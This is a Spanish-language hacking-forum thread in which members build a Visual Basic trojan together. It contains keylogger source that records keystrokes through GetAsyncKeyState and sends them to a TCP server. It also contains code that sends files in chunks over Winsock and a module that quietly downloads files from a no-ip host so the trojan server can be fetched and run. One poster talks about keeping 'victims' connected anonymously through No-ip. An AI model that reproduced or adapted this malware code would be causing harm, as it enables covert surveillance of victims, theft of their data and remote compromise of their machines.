Tema destacado: Únete al Grupo Steam elhacker.NET
Autor
|
Tema: troyano en vb desde CERO, INDICE de contenidos en la primera pagina, GranManual (Leído 112,435 veces)
|
Cicklow
Desconectado
Mensajes: 604
-=Cicklow SOFT®=-
|
OK yo te entiendo, pero lo de la transferencia de archivos me estaba complicando por unas cosas que le keria gregar yo osea de que yo solito me la estaba complicando. Y 1000 disculpas si no se podia postear aka sino fuera con un tuto. Pero no todo es eso aka les dejo my keylogger!!!!!!!! (el que uso YO) ----------------------------------------------- 'En Un Modulo Coloken Esto!!!!!!!!!!!!!!!!!!!!!!! Public Const DT_CENTER = &H1 Public Const DT_WORDBREAK = &H10 Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Global Cnt As Long, sSave As String, sOld As String, Ret As String Dim Tel As Long Function GetPressedKey() As String For Cnt = 32 To 128 If GetAsyncKeyState(Cnt) <> 0 Then GetPressedKey = Chr$(Cnt) Exit For End If Next Cnt End Function Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) Ret = GetPressedKey If Ret <> sOld Then sOld = Ret sSave = sSave + sOld End If End Sub
' en el formulario Private Sub Form_Load() Me.Caption = "KeyLooger 1.0 - Cicklow SOFT®" SetTimer Me.hwnd, 0, 1, AddressOf TimerProc End Sub Private Sub Form_Paint() Dim R As RECT Const mStr = "Ejecute otra aplicacion, y precione las teclas que liera, luego cierre este programa y vera las teclas que usted presiono!" Me.Cls Me.ScaleMode = vbPixels SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0& End Sub Private Sub Form_Resize() Form_Paint End Sub Private Sub Form_Unload(Cancel As Integer) KillTimer Me.hwnd, 0 'Al cerrar el form enviamos los datos. tcpSERVER.SendData sSave End Sub
-----------------------------------------------
|
|
|
|
|
En línea
|
|
|
|
|
Rey11
|
Hola, en primero lugar escribo para dar las gracias a fulano_ por haber puesto esa web, me es superutil y a ti cicklow por el keylogger, no te importará que lo copie, y lo pege junto al código de mi troyano, si quires. Un saludo de Reydelmundo11 
|
|
|
|
|
En línea
|
|
|
|
-Xenon-
Desconectado
Mensajes: 500
Spectrum 128k
|
a ver lo aclarare, primero: 1- gracias por las gracias, no hay de que  2- aqui claro que se puede preguntar dudas, claro que si, es mi culpa si no hice otro hilo para las preguntas, eso tendre que mirar de cambiarlo, pero pregunta lo que quieras 3-no es obligatorio postear solo para aportar algo, es muy bueno que lo hagas, pero no es obligatorio faltaria mas!!!!!!!! puedes preguntar lo que quieras, pero me jode que preguntes algo que esta esplicado en este mismo hilo LA TRANSFERENCIA DE ARCHIVOS ESTA ESPLICADA EN ESTE HILO! un saludo!!!
|
|
|
|
|
En línea
|
Cuando el ingenio se queda pequeño, No basta con poner empeño, Solo el talento consigue el diseño
|
|
|
|
|
|
Rey11
|
Muy buena la decoración te pediría que me ayudases con la decoración de mi troyano. Le quiero dejar bonito. Gracias fulano_ por los códigos  Un saludo de reydelmundo11 
|
|
|
|
|
En línea
|
|
|
|
|
scugat
|
Fulano me sabe muxo decirte que ay un fallo en tu codigo de transferencia de archivos, tu acumulas todos los datos en una variable y los envias el problema eske esa variable si el archivo es mu grande se blockea el programa y se cierra tenes que hacer que por ej cuando la variable tenga 25000 bits envie y la vacie
|
|
|
|
« Última modificación: 23 Abril 2005, 13:38 por scugat »
|
En línea
|
NO digas que eres hacker si lamerias haces
|
|
|
|
|
-Xenon-
Desconectado
Mensajes: 500
Spectrum 128k
|
eso no lo habia probado hasta ahora, lo mirare aver, tiene cierto sentido pero creo recordar que probe a enviar una pelicula de 700Mb a mi mismo usando esa transferencia, y me hiba bien.. aunque lo cerre despues de un tiempo por que veia que hiba bien... lo pruebo mañana y lo comento
un saludo!
|
|
|
|
|
En línea
|
Cuando el ingenio se queda pequeño, No basta con poner empeño, Solo el talento consigue el diseño
|
|
|
|
scugat
|
el truco de la cosa es ir cogiendo trozos de unos bites en determinado te recomiendo 25000 y vas enviando dim buffer as string 'obligatorio de definir la variable si no da error open arxivo for binary access read as #1 'abrimos el arxivo en modo binario lectura buffer = space$(25000) 'le decimos el espacio max que pode ocupar for i=1 to filelen(arxivo)/25000 'hacemos la division de las veces que tendra que leer y enviar get#1,,buffer 'leemos winsock.senddata buffer 'enviamos if filelen(arxivo)-loc(1) <=25000 then 'como el for no utiliza los decimales enviamos los restos buffer = space$(filelen(arxivo)-loc(1)) 'redimensianamos la variable con el num de bites que faltan get#1,,buffer 'leemos winsock.senddata buffer 'enviamos end if next
espero que os aya sido de utilidad este codigo con este codigo no se blokea el programa un salu 8)2
|
|
|
|
|
En línea
|
NO digas que eres hacker si lamerias haces
|
|
|
-Xenon-
Desconectado
Mensajes: 500
Spectrum 128k
|
muy bueno!!! 
|
|
|
|
|
En línea
|
Cuando el ingenio se queda pequeño, No basta con poner empeño, Solo el talento consigue el diseño
|
|
|
|
scugat
|
jeje me alegro que te guste, haber si con eso mejor tu programa, otra cosa eso de usar winsock mmmm creo que para hacer un troyano es mejor usar la api de sock, claro que no se como va pero me baje un modulo que ya lo preparava para funcionar
|
|
|
|
|
En línea
|
NO digas que eres hacker si lamerias haces
|
|
|
Cicklow
Desconectado
Mensajes: 604
-=Cicklow SOFT®=-
|
Yo tengo el server con la api de windows y el cliente con el ocx. Y para los que kieran un skin, aka les dejo uno que ice para todos, despues cada uno le hace lo que kiera y no hay limitaciones en cuanto al uso http://isis.webcindario.com/skin - troyan 3.rar SUerTE!!!!!
|
|
|
|
|
En línea
|
|
|
|
-Xenon-
Desconectado
Mensajes: 500
Spectrum 128k
|
gracias por el skin, para usar la api bastan con poner en google: CSocketMaster VB y socket.bas con esos 2 archivos se imita el uso de winsock, solo hay que declararlo Dim WithEvents ws As CSocketMaster y Set ws = New CSocketMaster ------------------------------------------------------------------------- ya podeis dejar de depender del dichoso ocx... mas cosas??? ideas??? publicare un editor del registro para el troyano, de aqui a un par de semanas alo mucho, usando la el comando reg de msdos un saludo!!! ( me alegro que se colabore ) yo no publicaba mas por eso mismo.. pero si quereis podemos hacer una cosa en este hilo: Cicklow podria encargarse del diseño grafico del proyecto scugat de modificar el codigo de la transferemcia para poder enviar archivos de mas tamaño yo por mi parte hare la funcion del editor del registro y asi podemos ir sumandonos y cada 2 semanas por ejemplo PUBLICAR en este hilo todo el codigo del proyecto JUNTO, es decir, publicar como quedaria el server y el cliente en codigo abierto y los ejecutables de esos codigos... si os parece bien podemos llevarlo a cabo aqui mismo, y tomarnoslo como un proyecto este troyano, entre todos podemos hacerlo bastante majo... algunos direis que para eso esta el laboratorio, pero esto mismo lo hice ayi, pero nadie colabora, si aqui ay mas colaboracion, me gustaria que lo hicieramos... tanto si os parece bien como si no, publicare el editor del registro... un saludo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
|
|
|
En línea
|
Cuando el ingenio se queda pequeño, No basta con poner empeño, Solo el talento consigue el diseño
|
|
|
Ertai
Ex-Staff
Desconectado
Mensajes: 2.026
Ralph Wiggum
|
Wenas fulano_ y compañia! Ya he conseguido que funcione lo del No-ip!  Han sido horas de sudor y de cabreos  .. xD Pronto publicaré el código (+ un mini-tutorial) y lo podreis acoplar al codigo de vuestro troyano! Solo deciros que para aquellos que tengan la utilidad del bouncer en su troyano, que a partir de ahora no tendreis que preocuparos por el tema de las IPs dinamicas, que ahora todas seran host de No-ip. De esta manera podreis tener muchas victimas conectadas entre si, lo que os garantiza el anonimato (casi) seguro! 8) Cuando tenga un poquillo más de tiempo, lo publico. Gracias fulano_ por tu gran ayuda! Saludos, Ertai
|
|
|
|
|
En línea
|
Si la felicidad se comprara, entonces el dinero sería noble. void rotar_by_ref(int& a, int& b) { /* Quien dijo que no se podia sin una variable temporal? */ *a = *a ^ *b; *b = *a ^ *b; *a = *a ^ *b; }
|
|
|
|
scugat
|
mu weno el skin ciclow, fulano como quieras, podemos postear aqui el codigo  , me gustaria que me enseñaran a usar las apis de sock, pk para hacer un troyano con el ocx es una *****,claro que tb encontre un codigo que bajaba archivos de internet ocultamente i dava un valor true cuando acabava lo que se podria hacer es que bajase el control ocx y cuando te bajado ejecute el programa servidor MODULO Option Explicit Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _ (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _ ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Private Declare Function DoFileDownload Lib "shdocvw" _ (ByVal lpszFile As String) As Long Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean Dim lngRetVal As Long lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0) 'empezamos a descargar If lngRetVal = 0 Then DownloadFile = True 'si la descarga a acabado porque el valor ingretval=0 entonces damos a downloadfile true End Function FORMULARIO Private Sub Command1_Click() If DownloadFile("http://zoneisaac.no-ip.com/p.jpg", "c:\arxivo.jpg") Then 'si downloadfile = true entonces MsgBox "se a descargado correctamente" 'sentencia en este ejemplo un cartel End If End Sub
espero que sirva salu2
|
|
|
|
|
En línea
|
NO digas que eres hacker si lamerias haces
|
|
|
|
|